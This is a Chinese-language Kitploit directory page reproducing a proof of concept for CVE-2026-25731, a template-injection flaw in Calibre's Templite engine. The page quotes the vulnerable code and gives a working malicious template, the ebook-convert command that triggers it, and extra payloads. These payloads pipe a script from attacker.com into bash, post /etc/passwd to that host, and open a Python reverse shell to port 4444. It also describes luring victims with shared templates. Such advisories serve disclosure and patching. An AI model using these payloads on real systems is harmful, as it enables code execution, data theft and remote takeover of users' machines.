Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-25731 — 针对 Calibre 的 Templite 引擎中服务器端模板注入(SSTI)漏洞(GHSA-xrh9-w7qx-3gcc)的概念验证。演示了在受影响版本(≤ 9.1.0)中,通过用户提供的 HTML 导出模板执行任意 Python 代码。 | Kitploit
工具/GitHubGitHub/dxleryt/cve-2026-25731
漏洞分析代码分析漏洞利用Web应用程序漏洞利用Payload 开发
GitHubdxleryt/cve-2026-25731

CVE-2026-25731

针对 Calibre 的 Templite 引擎中服务器端模板注入(SSTI)漏洞(GHSA-xrh9-w7qx-3gcc)的概念验证。演示了在受影响版本(≤ 9.1.0)中,通过用户提供的 HTML 导出模板执行任意 Python 代码。

查看仓库
56个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Templite 引擎中的服务端模板注入(SSTI)

严重性: 高危(CVSS 7.8)

受影响软件: calibre <= 9.1.0

修复版本: 9.2.0

安全公告: GHSA-xrh9-w7qx-3gcc

概述

Calibre 的 Templite 模板引擎中存在一个服务端模板注入(SSTI)漏洞,当用户通过 --template-html 或 --template-html-index 命令行选项使用恶意自定义模板文件转换电子书时,该漏洞允许任意代码执行。

详细信息

Templite 引擎(src/templite/__init__.py)使用 Python 的 compile() 和 eval() 函数编译并执行模板,且没有任何沙箱隔离:

src/templite/__init__.py 中的漏洞代码:

root@kitploit:~
# 第 72 行:模板被编译为 Python 代码 self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec') # 第 90 行:编译后的代码通过 eval() 执行 def render(self, __namespace=None, **kw): # ... eval(self.__code, namespace) # 任意代码执行

src/calibre/ebooks/conversion/plugins/html_output.py 中的攻击向量:

root@kitploit:~
# 第 96-98 行:加载用户提供的模板文件
if opts.template_html_index is not None:
    with open(opts.template_html_index, 'rb') as f:
        template_html_index_data = f.read()

# 第 136 行:模板被传递给存在漏洞的 Templite 引擎
templite = Templite(template_html_index_data)

--template-html 选项(第 102-106 行、第 200 行)也存在相同的模式。

PoC

1. 创建恶意模板文件

将以下内容保存为 malicious_template.tmpl:

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>恶意模板</title></head>
<body>
<h1>电子书转换完成!</h1>
<!-- SSTI 载荷执行任意命令 -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>

2. 使用恶意模板执行电子书转换

root@kitploit:~
# 使用恶意模板转换任意电子书
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl

3. 验证代码执行

root@kitploit:~
cat /tmp/pwned.txt
# 输出:uid=501(username) gid=20(staff) groups=...

其他载荷

root@kitploit:~
# 命令执行
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$

# 文件窃取
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$

# 反弹 Shell
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$

独立验证

root@kitploit:~
#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite

# 命令执行
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("用户:", t.render())  # 打印当前用户名

# 文件读取
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("文件:", t.render())  # 打印 /etc/passwd 的第一行

影响

受影响人群:

  • 下载并使用第三方 HTML 导出模板的用户
  • 使用在论坛、GitHub 或其他来源共享的模板的用户
  • 在自动化流水线中运行 Calibre 且使用用户提供模板的系统

攻击场景:

  1. 攻击者创建一个看似正常的 HTML 模板,其中嵌入了 SSTI 载荷
  2. 攻击者在 Calibre 论坛、Reddit 或 GitHub 上分享该模板
  3. 受害者下载模板并使用它:ebook-convert book.epub out.zip --template-html=template.tmpl
  4. 任意代码以受害者的权限执行
下载工具